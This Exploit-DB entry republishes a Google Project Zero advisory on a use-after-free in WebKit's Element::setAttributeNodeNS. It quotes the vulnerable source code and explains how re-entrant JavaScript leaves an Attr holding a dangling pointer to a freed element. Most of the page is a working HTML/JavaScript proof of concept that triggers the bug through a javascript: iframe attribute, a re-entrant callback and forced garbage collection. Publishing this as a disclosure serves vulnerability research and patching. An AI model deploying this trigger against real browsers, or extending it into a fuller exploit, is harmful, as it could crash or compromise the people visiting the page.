WebKit - 'Element::setAttributeNodeNS' Use-After-Free

EDB-ID: 42108
Author: Google Security Research
Published: 2017-06-01
CVE: N/A
Type: Dos
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: Use After Free
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1187 

Here's a snippet of Element::setAttributeNodeNS.

ExceptionOr<RefPtr<Attr>> Element::setAttributeNodeNS(Attr& attrNode)
{
...
setAttributeInternal(index, attrNode.qualifiedName(), attrNode.value(), NotInSynchronizationOfLazyAttribute);

attrNode.attachToElement(*this);
treeScope().adoptIfNeeded(attrNode);
ensureAttrNodeListForElement(*this).append(&attrNode);

return WTFMove(oldAttrNode);
}

|setAttributeInternal| may execute arbitrary JavaScript. If |setAttributeNodeNS| is called again in |setAttributeInternal|, there will be two |Attr| that has the same owner element and the same name after the first |setAttributeNodeNS| call. One of the |Attr|s will hold the raw pointer of the owner element even if the owner element is freed.


PoC:
-->

<body>
<script>

function gc() {
for (let i = 0; i < 0x40; i++) {
new ArrayBuffer(0x1000000);
}
}

window.callback = () => {
window.callback = null;

d.setAttributeNodeNS(src);
f.setAttributeNodeNS(document.createAttribute('src'));
};

let src = document.createAttribute('src');
src.value = 'javascript:parent.callback()';

let d = document.createElement('div');
let f = document.body.appendChild(document.createElement('iframe'));
f.setAttributeNodeNS(src);
f.remove();
f = null;
src = null;

gc();

alert(d.attributes[0].ownerElement);

</script>
</body>

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